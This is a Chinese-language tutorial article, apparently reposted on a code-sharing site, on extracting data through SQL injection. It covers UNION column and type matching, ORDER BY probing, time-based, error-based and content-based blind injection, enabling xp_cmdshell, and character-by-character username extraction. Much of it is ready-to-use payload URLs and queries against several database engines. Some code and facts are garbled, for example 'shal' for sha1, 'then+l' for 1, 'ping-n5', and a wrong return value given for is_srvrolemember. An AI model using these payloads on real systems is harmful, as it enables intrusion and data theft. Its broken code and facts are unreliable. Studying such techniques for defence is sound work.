SQL 注入提取數(shù)據(jù)方法小結(jié)
一、使用 UNION 語句提取數(shù)據(jù)
在 SQL 注入攻擊中,UNION 運(yùn)算符的潛在價(jià)值非常明顯:如果應(yīng)用程序返回了第一個(gè)(原始)查詢得到的所有數(shù)據(jù),那么通過在第一個(gè)查詢后面注入一個(gè) UNION 運(yùn)算符,并添加另外一個(gè)任意查詢,便可以讀取到數(shù)據(jù)庫用戶訪問過的任何一張表。
1.1 匹配列
要想 UNION 操作符正確工作,需滿足下列要求:
1. 兩個(gè)查詢返回的列數(shù)必須相同。
2. 兩個(gè) SELECT 語句對應(yīng)列所返回的數(shù)據(jù)類型必須相同(或至少是兼容的)。
如果無法滿足上述兩個(gè)約束條件,查詢便會(huì)失敗并返回一個(gè)錯(cuò)誤。
當(dāng)然,具體是什么錯(cuò)誤消息則取決于后臺所使用的數(shù)據(jù)庫服務(wù)器技術(shù)。
此列出了當(dāng) UNION 查詢包含錯(cuò)誤的列數(shù)時(shí)一些主流數(shù)據(jù)庫服務(wù)器返回的錯(cuò)誤消息。
數(shù)據(jù)庫 | 返回錯(cuò)誤消息 |
Micrsoft SQL Server | All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists |
MySQL | The used SELECT statements have a different number of columns |
Oracle | ORA-01789:query block has incorrect number of result columns |
Postgre SQL | ERROR: Each UNION query must have the same number of columns |
錯(cuò)誤消息中并未提供任何與所需要列數(shù)相關(guān)的線索,因而要想得到正確的列數(shù),唯一的方法就是反復(fù)試驗(yàn)。
第一種方法是將第二條查詢注入多次,每次逐漸增大列數(shù)直到查詢正確執(zhí)行。
假設(shè)有一個(gè)簡單的Web應(yīng)用程序,它接受一個(gè)用戶ID作為輸入,并從數(shù)據(jù)庫中檢索該用戶的信息。該應(yīng)用程序的SQL查詢可能如下所示:
SELECT * FROM users WHERE id = '$userId';
這里的$userId
是從用戶輸入中獲取的變量。如果應(yīng)用程序沒有對用戶輸入進(jìn)行適當(dāng)?shù)尿?yàn)證和轉(zhuǎn)義,攻擊者就可以構(gòu)造惡意的輸入來執(zhí)行SQL注入攻擊。
例如,攻擊者可以輸入以下值作為用戶ID:
' UNION SELECT column1, column2, ... FROM another_table --
這將導(dǎo)致原始的SQL查詢變成:
SELECT * FROM users WHERE id = '1' UNION SELECT column1, column2, ... FROM another_table --';
在這里,攻擊者使用了單引號來閉合原始的id
值,并添加了UNION SELECT
語句來從另一個(gè)表(another_table
)中選擇數(shù)據(jù)。--
是一個(gè)SQL注釋,用于忽略原始查詢中的剩余部分。
獲取準(zhǔn)確列數(shù)的另一種方法是使用ORDERBY子句而非注入另外一個(gè)查詢。
ORDERBY子句既可以接收一個(gè)列名作為參數(shù),也可以接收一個(gè)簡單的、能標(biāo)識特定列的數(shù)字。
可以通過增大 ORDER BY 子句中代表列的數(shù)字來識別查詢中的列數(shù),假設(shè)有一個(gè)目標(biāo)URL:
//www.dbjr.com.cn/vuln.php?id=1
注入點(diǎn)位于id參數(shù)處,我們可以嘗試使用order by語句來確定查詢結(jié)果的列數(shù)。
在id參數(shù)后面加上order by子句,并逐漸增加列數(shù),直到出現(xiàn)錯(cuò)誤或注入成功為止。例如:
//www.dbjr.com.cn/vuln.php?id=1 order by 1:// 如果頁面正常加載,說明查詢結(jié)果至少有1列。 //www.dbjr.com.cn/vuln.php?id=1 order by 2:// 如果頁面正常加載,說明查詢結(jié)果至少有2列。 //www.dbjr.com.cn/vuln.php?id=1 order by 3:// 如果頁面正常加載,說明查詢結(jié)果至少有3列。 // ……以此類推。
1.2 匹配數(shù)據(jù)類型
識別出準(zhǔn)確的列數(shù)后,現(xiàn)在是時(shí)候選擇其中的一列或幾列來查看一下是否是正在尋找的數(shù)據(jù)了。
前面提到過,對應(yīng)列的數(shù)據(jù)類型必須是相互兼容的。
因此,如果想提取一個(gè)字符串值(例如,當(dāng)前的數(shù)據(jù)庫用戶),那么至少需要找到一個(gè)數(shù)據(jù)類型為字符串的列以便通過它來存儲正在尋找的數(shù)據(jù)。
使用NULL來實(shí)現(xiàn)會(huì)很容易,只需一次一列地使用示例字符串替換NULL即可。
例如,如果發(fā)現(xiàn)原始查詢包含4列,那么應(yīng)嘗試下列 URL:
//www.dbjr.com.cn/products.asp?id=12+union+select+'test',NULL,NULL,NULL //www.dbjr.com.cn/products.asp?id=12+union+select+NULL,'test',NULL,NULL //www.dbjr.com.cn/products.asp?id=12+union+select+NULL,NULL,'test',NULL //www.dbjr.com.cn/products.asp?id=12+union+select+NULL,NULL,NULL,'test',
對于無法使用 NULL 的數(shù)據(jù)庫只能暴力猜測了。
只要應(yīng)用程序不返回錯(cuò)誤,即可知道剛才存儲test值的列可以保存一個(gè)字符串,因而可用它來顯示需要的值。
例如,如果第二列能夠保存一個(gè)字符串字段(假設(shè)想獲取當(dāng)前用戶的名稱),只需請求下列 URL:
//www.dbjr.com.cn/products.asp?id=12+union+select+NULL,system_user,NULL,NULL
如果類型不同也可以嘗試轉(zhuǎn)換類型,此表給出了不同數(shù)據(jù)庫中將任意數(shù)據(jù)類型轉(zhuǎn)換為字符串的語法
數(shù)據(jù)庫 | 查詢 |
Micrsoft SQL Server | SELECT CAST('123' AS varchar) |
MySQL | SELECT CAST('123' AS char) |
Oracle | SELECT CAST(1 AS varchar) FROM dual |
Postgre SQL | SELECT CAST(123 AS text) |
請注意這取決于你所提取數(shù)據(jù)的結(jié)構(gòu),并非總是需要進(jìn)行類型轉(zhuǎn)換。
例如,PostgreSQL允許非字符串變量使用連接字符串(||),只要有一個(gè)變量的值是字符串即可。
二、使用條件語句
我們先看一下相同的基本條件語句在此表中列出的不同數(shù)據(jù)庫服務(wù)器技術(shù)間語法上的轉(zhuǎn)換過程
數(shù)據(jù)庫 | 查詢 |
Micrsoft SQL Server | IF ('a'='a') SELECT 1 ELSE SELECT 2 |
MySQL | SELECT IF('a',1,2) |
Oracle | SELECT CASE WHEN 'a'='a' THEN 1 ELSE 2 END FROM DUAL SELECT decode(substr(user,1,1),'A',1,2)FROM DUAL |
Postgre SQL | SELECT CASE WHEN (1=1) THEN 'a' else 'b' END |
2.1 方法一:基于時(shí)間
2.1.1 Micrsoft SQL Server
使用條件語句利用 SQL注入時(shí),第一種可行的方法是基于 Web 應(yīng)用響應(yīng)時(shí)間上的差異,該時(shí)間取決于某些信息的值。
例如,對于SOLServer 而言,您最先想了解的信息是執(zhí)行查詢的用戶是否為系統(tǒng)管理員賬戶(sa)。
很明顯,這一點(diǎn)很重要,因?yàn)闄?quán)限不同,在遠(yuǎn)程數(shù)據(jù)庫上能執(zhí)行的操作也會(huì)有所不同。
因此,可以注入下列查詢::
IF (system_user='sa') WAITFOR DELAY '0:0:5' --
該查詢將轉(zhuǎn)換為下列 URL:
//www.dbjr.com.cnm/products.asp?id=12;if+(system_user='sa')+WAITFOR+ DELAY+'0:0:5'--
上述請求執(zhí)行了哪些操作呢?system_user 只是一個(gè) Transact-SQL(T-SQL) 函數(shù),它返回當(dāng)前登錄的用戶名(例如 sa)。
該査詢根據(jù) system user的值來決定是否執(zhí)行 WAITFOR (等待5秒)。
通過測試應(yīng)用返回 HTML頁面所花費(fèi)的時(shí)間,可以確定是否為 sa 用戶。
查詢尾部的兩個(gè)連字符用于注釋掉所有可能出現(xiàn)在原始查詢中并會(huì)干擾注入代碼的無用SQL代碼。
當(dāng)然,只需要通過替換圓括號中的條件您就可以使用該方法來獲取數(shù)據(jù)庫中的任何其他信息了。
例如,想知道遠(yuǎn)程數(shù)據(jù)庫的版本是否為2005?請看下列查詢:
IF(substring((select @@version),25,1)=5) WAITFOR DELAY '0:0:5'--
我們首先選擇 @@version 內(nèi)置變量,在 SQLServer 2005 中,它的值類似于下列內(nèi)容:
Microsoft SQL Server 2005-9.00.3042.00(ntel X86) Feb 92007 22:47:07 Copyright(c)1988-2005 Microsoft Corporation Standard Edition on Windows NT5.2(Build 3790:Service Pack2)
不難發(fā)現(xiàn),該變量包含了數(shù)據(jù)庫版本。要想了解遠(yuǎn)程數(shù)據(jù)庫是否為SOLServer 2005,只需檢查年份的最后一位數(shù)字即可,它剛好是@@version 變量所存放字符串的第25個(gè)字符。
如果擁有管理員權(quán)限,那么可以使用xpcdshell 擴(kuò)展存儲過程來產(chǎn)生延遲,它通過加載條需要花費(fèi)特定秒數(shù)才能完成的命令來得到類似的結(jié)果。
在下面的示例中,我們ping回路(loopback)端口5秒鐘:
EXEC master..xp_cmdshell 'ping-n5 127.0.0.1'
如果具有管理員訪問權(quán)限,但沒有啟用xpcmdshell,那么在SOLServer 2005和2008中可以使用下面的命令輕松地啟用它:
EXEC sp_configure 'show advanced options', 1; GO RECONFIGURE; EXEC sp_configure 'xp cmdshell', 1;
2.1.2 MySQL
例如,對于MySQL,可以使用下列查詢創(chuàng)建一個(gè)數(shù)秒的延遲:
SELECT BENCHMARK(1000000,shal('blah'));
BENCHMARK函數(shù)將第二個(gè)參數(shù)描述的表達(dá)式執(zhí)行由第一個(gè)參數(shù)指定的次數(shù)。
它通常用于測量服務(wù)器的性能,但對引入人為延遲也同樣很有幫助。
在上述示例中,我們告訴數(shù)據(jù)庫將字符串“blah”的哈希值計(jì)算一百萬次。
如果使用的是 5.0.12版本以上的 MySQL 數(shù)據(jù)庫,處理起來將更加簡單:
SELECT SLEEP(5);
2.1.3 Postgre SQL
如果安裝的是PostgreSQL數(shù)據(jù)庫,并且版本在8.2以上,可以使用下面的命令:
SELECT pg_sleep(5);
2.1.4 Oracle
對于 Oracle 而言,可以通過使用 UTL_HTTP 或 HTTPURITYPE 向一個(gè)“死的”IP地址發(fā)送一個(gè)HTTP請求來實(shí)現(xiàn)相同的效果(雖然可靠性差一些)。
如果指定了一個(gè)不存在偵聽者的IP地址,那么下列查詢將一直等待連接直到超時(shí):
select utl http.request('http://10.0.0.1/') from dual; select HTTPURITYPE('http://10.0.0.1/').getclob() from dual;
還有一種使用網(wǎng)絡(luò)計(jì)時(shí)的方法,就是使用簡單的笛卡爾積(Cartesian Product)。
對 4 張表應(yīng)用 count(*) 比直接返回一個(gè)數(shù)字花費(fèi)的時(shí)間要長很多。
如果用戶名的第一個(gè)字符為 A,那么下列查詢將首先計(jì)算所有行的笛卡爾積,然后返回一個(gè)數(shù)字:
SELECT decode(substr(user,1,1),'A',(select count(*) from all_objects,all_objects,all_objects,all_objects),0)
2.2 方法二:基于錯(cuò)誤
我們還有其他技術(shù)可用,該技術(shù)根據(jù)我們尋找的位值來觸發(fā)不同的響應(yīng)。請看下列查詢:
//www.dbjr.com.cn/products.asp?id=12/is_srvrolemember ('sysadmin')
is srvrolemember()是一個(gè)SOLServerT-SQL函數(shù),它返回下列值:
1:用戶屬于指定的組。
2:用戶不屬于指定的組。
NULL:指定的組不存在。
如果當(dāng)前用戶不是 sysadmin 組的成員,那么 id 參數(shù)的值將為 12/0(很明顯不是數(shù)字);這將導(dǎo)致查詢失敗,應(yīng)用返回一個(gè)錯(cuò)誤。
該錯(cuò)誤還可能是一個(gè)使應(yīng)用失敗看起來更雅觀的通用HTML頁面,但最基本原理是相同的:可以根據(jù)指定位值的不同來觸發(fā)不同的響應(yīng)并提取位值。
2.3 方法三:基于內(nèi)容
通常只需對該技術(shù)稍作修改就能避免錯(cuò)誤的產(chǎn)生。例如:
//www.dbjr.com.cn/products.asp?id=12%2B(case+when+(system_user+=+'sa') +then+1+else+0+end)
我們使用%2B替換了參數(shù)后面的“/”字符,%2B 是“+”的 URL 編碼(我們不能在 URL中直接使用“+”,因?yàn)樗鼤?huì)被解析成空格)。最終將按照下列式子為id參數(shù)賦值:
id=12+(case when (system_user='sa') then 1 else 0 end)
結(jié)果非常直觀。如果執(zhí)行查詢的用戶不是 sa,那么id=12,請求將等價(jià)于:
//www.dbjr.com.cn/products.asp?id=12
而如果執(zhí)行查詢的用戶是 sa,那么id=13,請求將等價(jià)于:
//www.dbjr.com.cn/products.asp?id=13
該技術(shù)像基于錯(cuò)誤的技術(shù)一樣快,另外還有一個(gè)優(yōu)點(diǎn)--不會(huì)觸發(fā)錯(cuò)誤,從而使該方法更加簡練。
2.4 處理字符串
假設(shè)我們的電子商務(wù)Web 站點(diǎn)有這樣一個(gè)功能——它允許用戶檢索特定品牌生產(chǎn)的所有商品:
//www.dbjr.com.cn/search.asp?brand=acme
如果對 brand 參數(shù)稍作修改,那么會(huì)出現(xiàn)什么情況呢?
使用字母 l 替換掉 m,最終的URL將如下所示:
//www.dbjr.com.cn/search.asp?brand=acle
這個(gè) URL 很可能會(huì)返回完全不同的結(jié)果:可能是一個(gè)空結(jié)果集,在大多數(shù)情況下也可能是其他不同的內(nèi)容。
不管第二個(gè) URL 返回怎樣的結(jié)果,只要 brand 參數(shù)是可注入的,就可以很容易地使用字符串連接技術(shù)來提取數(shù)據(jù)。
我們一步一步地分析這個(gè)過程。很明顯,作為參數(shù)傳遞的字符串可以分成兩部分:
//www.dbjr.com.cn/search.asp?brand=acm'%2B'e
很明顯,該查詢等價(jià)于上一查詢,所以最終的HTML頁面不會(huì)發(fā)生變化。我們再進(jìn)一步分析,將參數(shù)分成三個(gè)部分:
//www.dbjr.com.cn/search.asp?brand=ac'%2B'm'%2B'e
可以使用 char()函數(shù)來描述 T-SQL中的 m 字符,char() 函數(shù)接收一個(gè)數(shù)字作為參數(shù)并返回與其對應(yīng)的 ASCII 字符。由于 m 的 ASCII 值為 109(16進(jìn)制為 0x6D),因此我們可以對 URL 作進(jìn)一步修改,如下所示:
//www.dbjr.com.cn/search.asp?brand=ac'%2Bchar(109)%2B'e
該查詢?nèi)匀环祷嘏c前面查詢相同的結(jié)果,但現(xiàn)在我們有了一個(gè)可操控的數(shù)字參數(shù),所以可以很容易復(fù)制前面章節(jié)介紹的注入技術(shù),提交下列請求:
//www.dbjr.com.cn/search.asp?brand=ac'%2Bchar(108%2B(case+when+(sys tem_user='sa')+then+l+else+0+end)%2B'e
根據(jù)當(dāng)前用戶是否為sa,char()函數(shù)的參數(shù)將分別是109或108(對應(yīng)返回m或1)
2.5 擴(kuò)展攻擊
我們回到前面那個(gè)判斷執(zhí)行查詢的用戶的例子。
我們現(xiàn)在不局限于檢查用戶是否為sa,而是檢索用戶完整的名稱。
首先要做的是發(fā)現(xiàn)用戶名的長度??墒褂孟铝胁樵儗?shí)現(xiàn)該目的:
select len(system_user)
假設(shè)用戶名為appdbuser,該查詢返回9。要想使用條件語句提取該值,則需要執(zhí)行二分查找。如果使用前面介紹的基于錯(cuò)誤的方法,那么需要發(fā)送下列URL:
//www.dbjr.com.cn/products.asp?id=10/(case+when+(len(system_user) +>+8)+then+1+else+0+end)
既然知道了用戶名的長度,接下來我們需要提取組成用戶名的字符。
要完成這個(gè)任務(wù),需要循環(huán)遍歷各個(gè)字符。對于其中的每個(gè)字符,我們要針對該字符的 ASCII 碼值執(zhí)行二分查找。
在SOLServer中,我們可以使用下列表達(dá)式提取指定字符并計(jì)算其 ASCII 碼值:
ascii(substring((selectsystem_user)1,1))
該表達(dá)式檢索 system_user 的值,從第一個(gè)字符開始提取子串,子串長度剛好為一個(gè)字符,并計(jì)算其十進(jìn)制的 ASCII 碼值。
到此這篇關(guān)于SQL 注入提取數(shù)據(jù)方法小結(jié)的文章就介紹到這了,更多相關(guān)SQL 注入提取數(shù)據(jù)內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
通過系統(tǒng)數(shù)據(jù)庫獲取用戶所有數(shù)據(jù)庫中的視圖、表、存儲過程
本文主要講了通過系統(tǒng)數(shù)據(jù)庫獲取用戶所有數(shù)據(jù)庫中的視圖、表、存儲過程的方法,大家參考使用吧2014-04-04非常不錯(cuò)的SQL語句學(xué)習(xí)手冊實(shí)例版
非常不錯(cuò)的SQL語句學(xué)習(xí)手冊實(shí)例版...2007-03-03